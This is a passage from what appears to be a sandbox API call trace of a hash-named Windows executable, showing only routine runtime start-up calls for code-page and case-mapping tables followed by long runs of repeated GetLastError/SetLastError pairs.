\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧­Ā") returned 256 [0132.716] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧­Ā", cchSrc=256, lpCharType=0x39f95c | out: lpCharType=0x39f95c) returned 1 [0132.716] GetLastError () returned 0x5 [0132.716] SetLastError (dwErrCode=0x5) [0132.716] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0132.716] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fd5c, cbMultiByte=256, lpWideCharStr=0x39f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0132.717] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0132.717] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x39f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0132.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x39fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿJçþQ\x94þ9", lpUsedDefaultChar=0x0) returned 256 [0132.717] GetLastError () returned 0x5 [0132.717] SetLastError (dwErrCode=0x5) [0132.717] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0132.717] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fd5c, cbMultiByte=256, lpWideCharStr=0x39f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0132.717] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0132.717] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x39f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0132.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x39fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿJçþQ\x94þ9", lpUsedDefaultChar=0x0) returned 256 [0132.717] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xadf728, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x65 [0132.717] GetLastError () returned 0x0 [0132.717] SetLastError (dwErrCode=0x0) [0132.717] GetLastError () returned 0x0 [0132.717] SetLastError (dwErrCode=0x0) [0132.717] GetLastError () returned 0x0 [0132.717] SetLastError (dwErrCode=0x0) [0132.717] GetLastError () returned 0x0 [0132.717] SetLastError (dwErrCode=0x0) [0132.717] GetLastError () returned 0x0 [0132.717] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.718] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.718] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.718] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.718] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.718] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.718] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.718] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.718] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.718] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.718] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.718] SetLastError (dwErrCode=0x0) [0132.718] GetLastError () returned 0x0 [0132.719] SetLastError (dwErrCode=0x0) [0132.719] GetLastError () returned 0x0 [0132.719] SetLastError (dwErrCode=0x0) [0132.719] GetLastError () returned 0x0 [0132.719] SetLastError (dwErrCode=0x0) [0132.719] GetLastError () returned 0x0 [0132.719] SetLastError (dwErrCode=0x0) [0132.719] GetLastError () returned 0x0 [0132.719] SetLastError (dwErrCode=0x0) [0132.719] GetLastError () returned 0x0 [0132.719] SetLastError (dwErrCode=0x0) [0132.719] GetLastError () returned 0x0 [0132.719] SetLastError (dwErrCode=0x0) [0132.719] GetLastError () returned 0x0 [0132.719] SetLastError (dwErrCode=0x0) [0132.719] GetLastError () returned 0x0 [0132.719] SetLastError (dwErrCode=0x0) [0132.719] GetLastError () returned 0x0 [0132.719] SetLastError (dwErrCode=0x0) [0132.719] GetLastError () returned 0x0 [0132.719] SetLastError (dwErrCode=0x0) [0132.719] GetLastError () returned 0x0 [0132.720] SetLastError (dwErrCode=0x0) [0132.720] GetLastError () returned 0x0 [0132.720] SetLastError (dwErrCode=0x0) [0132.720] GetLastError () returned 0x0 [0132.720] SetLastError (dwErrCode=0x0) [0132.720] GetLastError () returned 0x0 [0132.720] SetLastError (dwErrCode=0x0) [0132.720] GetLastError () returned 0x0 [0132.720] SetLastError (dwErrCode=0x0) [0132.720] GetLastError () returned 0x0 [0132.720] SetLastError (dwErrCode=0x0) [0132.720] GetLastError () returned 0x0 [0132.720] SetLastError (dwErrCode=0x0) [0132.720] GetLastError () returned 0x0 [0132.720] SetLastError (dwErrCode=0x0) [0132.720] GetLastError () returned 0x0 [0132.720] SetLastError (dwErrCode=0x0) [0132.720] GetLastError () returned 0x0 [0132.720] SetLastError (dwErrCode=0x0) [0132.720] GetLastError () returned 0x0 [0132.720] SetLastError (dwErrCode=0x0) [0132.720] GetLastError () returned 0x0 [0132.721] SetLastError (dwErrCode=0x0) [0132.721] GetLastError () returned 0x0 [0132.721] SetLastError (dwErrCode=0x0) [0132.721] GetLastError () returned 0x0 [0132.721] SetLastError (dwErrCode=0x0) [0132.721] GetLastError () returned 0x0 [0132.721] SetLastError (dwErrCode=0x0) [0132.721] GetLastError () returned 0x0 [0132.721] SetLastError (dwErrCode=0x0) [0132.721] GetLastError () returned 0x0 [0132.721] SetLastError (dwErrCode=0x0) [0132.721] GetLastError () returned 0x0 [0132.721] SetLastError (dwErrCode=0x0) [0132.721] GetLastError () returned 0x0 [0132.721] SetLastError (dwErrCode=0x0) [0132.721] GetLastError () returned 0x0 [0132.721] SetLastError (dwErrCode=0x0) [0132.721] GetLastError () returned 0x0 [0132.721] SetLastError (dwErrCode=0x0) [0132.721] GetLastError () returned 0x0 [0132.721] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.722] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.722] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.722] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.722] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.722] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.722] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.722] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.722] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.722] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.722] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.722] SetLastError (dwErrCode=0x0) [0132.722] GetLastError () returned 0x0 [0132.723] SetLastError (dwErrCode=0x0) [0132.723] GetLastError () returned 0x0 [0132.723] SetLastError (dwErrCode=0x0) [0132.723] GetLastError () returned 0x0 [0132.723] SetLastError (dwErrCode=0x0) [0132.723] GetLastError () returned 0x0 [0132.723] SetLastError (dwErrCode=0x0) [0132.723] GetLastError () returned 0x0 [0132.723] SetLastError (dwErrCode=0x0) [0132.723] GetLastError () returned 0x0 [0132.723] SetLastError (dwErrCode=0x0) [0132.723] GetLastError () returned 0x0 [0132.723] SetLastError (dwErrCode=0x0) [0132.723] GetLastError () returned 0x0 [0132.723] SetLastError (dwErrCode=0x0) [0132.723] GetLastError () returned 0x0 [0132.723] SetLastError (dwErrCode=0x0) [0132.723] GetLastError () returned 0x0 [0132.723] SetLastError (dwErrCode=0x0) [0132.723] GetLastError () returned 0x0 [0132.723] SetLastError (dwErrCode=0x0) [0132.723] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.724] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.724] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.724] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.724] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.724] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.724] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.724] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.724] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.724] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.724] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.724] GetLastError () returned 0x0 [0132.724] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.725] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.725] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.725] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.725] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.725] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.725] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.725] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.725] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.725] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.725] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.725] SetLastError (dwErrCode=0x0) [0132.725] GetLastError () returned 0x0 [0132.726] SetLastError (dwErrCode=0x0) [0132.726] GetLastError () returned 0x0 [0132.726] SetLastError (dwErrCode=0x0) [0132.726] GetLastError () returned 0x0 [0132.726] SetLastError (dwErrCode=0x0) [0132.726] GetLastError () returned 0x0 [0132.726] SetLastError (dwErrCode=0x0) [0132.726] GetLastError () returned 0x0 [0132.726] SetLastError (dwErrCode=0x0) [0132.726] GetLastError () returned 0x0 [0132.726] SetLastError (dwErrCode=0x0) [0132.726] GetLastError () returned 0x0 [0132.808] SetLastError (dwErrCode=0x0) [0132.808] GetLastError () returned 0x0 [0132.808] SetLastError (dwErrCode=0x0) [0132.808] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x6e) returned 0x9d1a08 [0132.808] GetLastError () returned 0x0 [0132.809] SetLastError (dwErrCode=0x0) [0132.809] GetLastError () returned 0x0 [0132.809] SetLastError (dwErrCode=0x0) [0132.809] GetLastError () returned 0x0 [0132.809] SetLastError (dwErrCode=0x0) [0132.809] GetLastError () returned 0x0 [0132.809] SetLastError (dwErrCode=0x0) [0132.809] GetLastError () returned 0x0 [0132.809] SetLastError (dwErrCode=0x0) [0132.809] GetLastError () returned 0x0 [0132.809] SetLastError (dwErrCode=0x0) [0132.809] GetLastError () returned 0x0 [0132.809] SetLastError (dwErrCode=0x0) [0132.809] GetLastError () returned 0x0 [0132.810] SetLastError (dwErrCode=0x0) [0132.810] GetLastError () returned 0x0 [0132.810] SetLastError (dwErrCode=0x0) [0132.810] GetLastError () returned 0x0 [0132.810] SetLastError (dwErrCode=0x0) [0132.810] GetLastError () returned 0x0 [0132.810] SetLastError (dwErrCode=0x0) [0132.810] GetLastError () returned 0x0 [0132.810] SetLastError (dwErrCode=0x0) [0132.810] GetLastError () returned 0x0 [0132.810] SetLastError (dwErrCode=0x0) [0132.810] GetLastError () returned 0x0 [0132.810] SetLastError (dwErrCode=0x0) [0132.810] GetLastError () returned 0x0 [0132.811] SetLastError (dwErrCode=0x0) [0132.811] GetLastError () returned 0x0 [0132.811] SetLastError (dwErrCode=0x0) [0132.811] GetLastError () returned 0x0 [0132.811] SetLastError (dwErrCode=0x0) [0132.811] GetLastError () returned 0x0 [0132.811] SetLastError (dwErrCode=0x0) [0132.811] GetLastError () returned 0x0 [0132.811] SetLastError (dwErrCode=0x0) [0132.811] GetLastError () returned 0x0 [0132.811] SetLastError (dwErrCode=0x0) [0132.811] GetLastError () returned 0x0 [0132.811] SetLastError (dwErrCode=0x0) [0132.811] GetLastError () returned 0x0 [0132.811] SetLastError (dwErrCode=0x0) [0132.812] GetLastError () returned 0x0 [0132.812] SetLastError (dwErrCode=0x0) [0132.812] GetLastError () returned 0x0 [0132.812] SetLastError (dwErrCode=0x0) [0132.812] GetLastError () returned 0x0 [0132.812] SetLastError (dwErrCode=0x0) [0132.812] GetLastError () returned 0x0 [0132.812] SetLastError (dwErrCode=0x0) [0132.812] GetLastError () returned 0x0 [0132.812] SetLastError (dwErrCode=0x0) [0132.812] GetLastError () returned 0x0 [0132.812] SetLastError (dwErrCode=0x0) [0132.812] GetLastError () returned 0x0 [0132.813] SetLastError (dwErrCode=0x0) [0132.813] GetLastError () returned 0x0 [0132.813] SetLastError (dwErrCode=0x0) [0132.813] GetLastError () returned 0x0 [0132.813] SetLastError (dwErrCode=0x0) [0132.813] GetLastError () returned 0x0 [0132.813] SetLastError (dwErrCode=0x0) [0132.813] GetLastError () returned 0x0 [0132.813] SetLastError (dwErrCode=0x0) [0132.813] GetLastError () returned 0x0 [0132.813] SetLastError (dwErrCode=0x0) [0132.813] GetLastError () returned 0x0 [0132.813] SetLastError (dwErrCode=0x0) [0132.813] GetLastError () returned 0x0 [0132.813] SetLastError (dwErrCode=0x0) [0132.813] GetLastError () returned 0x0 [0132.813] SetLastError (dwErrCode=0x0) [0132.813] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.814] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.814] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.814] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.814] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.814] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.814] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.814] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.814] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.814] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.814] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.814] GetLastError () returned 0x0 [0132.814] SetLastError (dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.815] SetLastError (dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.815] SetLastError (dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.815] SetLastError 